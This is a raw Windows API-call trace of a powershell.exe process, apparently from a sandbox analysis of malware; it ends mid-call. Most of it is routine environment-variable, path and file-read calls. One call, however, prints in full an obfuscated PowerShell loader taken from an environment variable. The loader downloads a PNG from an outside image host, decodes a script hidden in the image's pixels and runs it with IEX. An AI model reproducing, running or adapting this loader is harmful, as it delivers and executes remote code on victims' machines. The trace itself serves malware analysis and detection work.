0x780 [0115.962] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0115.980] SetThreadUILanguage (LangId=0x0) returned 0x7fffff00409 [0115.983] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.983] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.983] CoTaskMemFree (pv=0x358db0) [0115.991] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0115.991] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0115.992] CoTaskMemFree (pv=0x358db0) [0115.994] VirtualQuery (in: lpAddress=0x1c6cdac0, lpBuffer=0x1c6ce980, dwLength=0x30 | out: lpBuffer=0x1c6ce980*(BaseAddress=0x1c6cd000, AllocationBase=0x1bd40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0116.003] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.003] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.003] CoTaskMemFree (pv=0x358db0) [0116.006] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.006] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.006] CoTaskMemFree (pv=0x358db0) [0116.019] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.019] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.020] CoTaskMemFree (pv=0x358db0) [0116.053] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.053] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.053] CoTaskMemFree (pv=0x358db0) [0116.056] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.056] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.056] CoTaskMemFree (pv=0x358db0) [0116.058] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.058] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.058] CoTaskMemFree (pv=0x358db0) [0116.067] VirtualQuery (in: lpAddress=0x1c6cdd70, lpBuffer=0x1c6cec30, dwLength=0x30 | out: lpBuffer=0x1c6cec30*(BaseAddress=0x1c6cd000, AllocationBase=0x1bd40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0116.068] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.068] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.068] CoTaskMemFree (pv=0x358db0) [0116.071] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.071] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.072] CoTaskMemFree (pv=0x358db0) [0116.072] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.072] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.072] CoTaskMemFree (pv=0x358db0) [0116.077] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.077] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.077] CoTaskMemFree (pv=0x358db0) [0116.084] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.084] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.084] CoTaskMemFree (pv=0x358db0) [0116.161] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.162] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.162] CoTaskMemFree (pv=0x358db0) [0116.164] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.164] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.164] CoTaskMemFree (pv=0x358db0) [0116.166] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.166] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.166] CoTaskMemFree (pv=0x358db0) [0116.170] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.170] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.170] CoTaskMemFree (pv=0x358db0) [0116.172] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.172] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.172] CoTaskMemFree (pv=0x358db0) [0116.173] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.174] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.174] CoTaskMemFree (pv=0x358db0) [0116.176] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.176] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.176] CoTaskMemFree (pv=0x358db0) [0116.199] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.199] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.199] CoTaskMemFree (pv=0x358db0) [0116.225] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.225] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.225] CoTaskMemFree (pv=0x358db0) [0116.227] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.227] GetEnvironmentVariableW (in: lpName="ComsPec", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0116.227] CoTaskMemFree (pv=0x358db0) [0116.236] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.236] GetEnvironmentVariableW (in: lpName="ComsPec", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0116.236] CoTaskMemFree (pv=0x358db0) [0116.261] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.261] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.261] CoTaskMemFree (pv=0x358db0) [0116.267] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.267] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.267] CoTaskMemFree (pv=0x358db0) [0116.272] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.272] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.272] CoTaskMemFree (pv=0x358db0) [0116.370] SetEvent (hEvent=0x3ac) returned 1 [0116.370] SetEvent (hEvent=0x35c) returned 1 [0116.370] SetEvent (hEvent=0x380) returned 1 [0116.470] VirtualQuery (in: lpAddress=0x1c6cd390, lpBuffer=0x1c6ce250, dwLength=0x30 | out: lpBuffer=0x1c6ce250*(BaseAddress=0x1c6cd000, AllocationBase=0x1bd40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0116.484] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.484] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.484] CoTaskMemFree (pv=0x358db0) [0116.503] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.503] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.503] CoTaskMemFree (pv=0x358db0) [0116.569] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.569] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.569] CoTaskMemFree (pv=0x358db0) [0116.571] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.571] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0116.571] CoTaskMemFree (pv=0x358db0) [0116.887] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0116.887] GetEnvironmentVariableW (in: lpName="sULrV", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x330 [0116.887] CoTaskMemFree (pv=0x358db0) [0116.887] CoTaskMemAlloc (cb=0x664) returned 0x2d3a30 [0116.887] GetEnvironmentVariableW (in: lpName="sULrV", lpBuffer=0x2d3a30, nSize=0x330 | out: lpBuffer=". ( $sHelLId[1]+$shELlId[13]+'X') (('s'+'al f'+'r'+' N'+'ew-Objec'+'t'+';'+'A'+'dd-T'+'ype -As'+'sembly'+'Name 9axSystem.Dra'+'w'+'ing9ax;'+'v6Qds'+'=fr Syste'+'m.'+'Drawin'+'g.B'+'itmap((fr Net.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'));'+'v6Q'+'mk=fr By'+'t'+'e[] '+'2140;(0.'+'.4)b'+'S'+'j%{foreach('+'v'+'6'+'Qx in(0..4'+'27'+')){v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+');v6Qmk'+'[v6Q'+'_*428+v6Qx]=([math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'};'+'I'+'EX('+'[Syst'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk[0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',[sTRInG][ChAr]34).ReplaCE(([ChAr]98+[ChAr]83+[ChAr]106),[sTRInG][ChAr]124).ReplaCE(([ChAr]118+[ChAr]54+[ChAr]81),[sTRInG][ChAr]36))") returned 0x32f [0116.887] CoTaskMemFree (pv=0x2d3a30) [0116.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6cd270, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0116.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6cd1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0116.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6cd1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0117.313] VirtualQuery (in: lpAddress=0x1c6ccb70, lpBuffer=0x1c6cda30, dwLength=0x30 | out: lpBuffer=0x1c6cda30*(BaseAddress=0x1c6cc000, AllocationBase=0x1bd40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0117.321] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0117.321] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0117.321] CoTaskMemFree (pv=0x358db0) [0117.439] VirtualQuery (in: lpAddress=0x1c6cc480, lpBuffer=0x1c6cd340, dwLength=0x30 | out: lpBuffer=0x1c6cd340*(BaseAddress=0x1c6cc000, AllocationBase=0x1bd40000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0117.487] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0117.487] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0117.487] CoTaskMemFree (pv=0x358db0) [0117.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c6cc850, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0117.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c6cc7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0117.500] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c6cc7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0117.501] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c6cc7a0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0117.590] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c6cc830, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0117.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c6cc780, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0117.591] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x1c6cc780, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0117.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6cc740, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0117.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6cc690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0117.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6cc690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0117.592] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6cc690, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0117.707] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x1c6cbe80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0118.069] CoTaskMemAlloc (cb=0x104) returned 0x358db0 [0118.069] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x358db0, nSize=0x80 | out: lpBuffer="") returned 0x0 [0118.069] CoTaskMemFree (pv=0x358db0) [0118.904] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c6cc060, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0118.904] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c6cbf60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0118.910] CoTaskMemAlloc (cb=0x20c) returned 0x2b37f0 [0118.910] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b37f0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0118.910] CoTaskMemFree (pv=0x2b37f0) [0118.910] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x1c6cc0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0118.921] GetCurrentProcess () returned 0xffffffffffffffff [0118.921] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cc028 | out: TokenHandle=0x1c6cc028*=0x33c) returned 1 [0118.926] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", nBufferLength=0x105, lpBuffer=0x1c6cbc80, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\", lpFilePart=0x0) returned 0x30 [0118.928] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c6cc0d0 | out: lpFileInformation=0x1c6cc0d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0118.929] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c6cbc20, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0118.930] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x1c6cc080 | out: lpFileInformation=0x1c6cc080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf9bf7e3, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xdf9bf7e3, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x3f871a3e, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x65b3)) returned 1 [0118.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x1c6cba60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0118.932] SetErrorMode (uMode=0x1) returned 0x1 [0118.932] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v2.0.50727\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8 [0118.932] GetFileType (hFile=0x3a8) returned 0x1 [0118.932] SetErrorMode (uMode=0x1) returned 0x1 [0118.932] GetFileType (hFile=0x3a8) returned 0x1 [0118.937] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x1c6cc078 | out: lpFileSizeHigh=0x1c6cc078*=0x0) returned 0x65b3 [0118.937] ReadFile (in: hFile=0x3a8, lpBuffer=0x30d0928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c6cbf98, lpOverlapped=0x0 | out: lpBuffer=0x30d0928*, lpNumberOfBytesRead=0x1c6cbf98*=0x1000, lpOverlapped=0x0) returned 1 [0118.952] ReadFile (in: hFile=0x3a8, lpBuffer=0x30d0928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c6cbc78, lpOverlapped=0x0 | out: lpBuffer=0x30d0928*, lpNumberOfBytesRead=0x1c6cbc78*=0x1000, lpOverlapped=0x0) returned 1 [0118.953] ReadFile (in: hFile=0x3a8, lpBuffer=0x30d0928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c6cbac8, lpOverlapped=0x0 | out: lpBuffer=0x30d0928*, lpNumberOfBytesRead=0x1c6cbac8*=0x1000, lpOverlapped=0x0) returned 1 [0118.953] ReadFile (in: hFile=0x3a8, lpBuffer=0x30d0928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c6cbac8, lpOverlapped=0x0 | out: lpBuffer=0x30d0928*, lpNumberOfBytesRead=0x1c6cbac8*=0x1000, lpOverlapped=0x0) returned 1 [0118.954] ReadFile (in: hFile=0x3a8, lpBuffer=0x30d0928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c6cbac8, lpOverlapped=0x0 | out: lpBuffer=0x30d0928*, lpNumberOfBytesRead=0x1c6cbac8*=0x1000, lpOverlapped=0x0) returned 1 [0118.964] ReadFile (in: hFile=0x3a8, lpBuffer=0x30d0928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c6cba28, lpOverlapped=0x0 | out: lpBuffer=0x30d0928*, lpNumberOfBytesRead=0x1c6cba28*=0x5b3, lpOverlapped=0x0) returned 1 [0118.964] ReadFile (in: hFile=0x3a8, lpBuffer=0x30d0928, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c6cbbd8, lpOverlapped=0x0 | out: lpBuffer=0x30d0928*, lpNumberOfBytesRead=0x1c6cbbd8*=0x0, lpOverlapped=0x0) returned 1 [0118.964] CloseHandle (hObject=0x3a8) returned 1 [0118.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c6cc050, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0118.966] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x1c6cbf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0118.966] CoTaskMemAlloc (cb=0x20c) returned 0x2b37f0 [0118.966] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2b37f0, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0118.967] CoTaskMemFree (pv=0x2b37f0) [0118.967] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x105, lpBuffer=0x1c6cc0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0118.967] GetCurrentProcess () returned 0xffffffffffffffff [0118.967] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cc288 | out: TokenHandle=0x1c6cc288*=0x3a8) returned 1 [0118.969] GetCurrentProcess () returned 0xffffffffffffffff [0118.969] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cc288 | out: TokenHandle=0x1c6cc288*=0x3a4) returned 1 [0118.970] GetCurrentProcess () returned 0xffffffffffffffff [0118.970] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cc028 | out: TokenHandle=0x1c6cc028*=0x360) returned 1 [0118.971] GetCurrentProcess () returned 0xffffffffffffffff [0118.971] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c6cc288 | out: TokenHandle=0x1c6cc288*=0x364) returned 1 [0118.971] GetCurrentProcess () 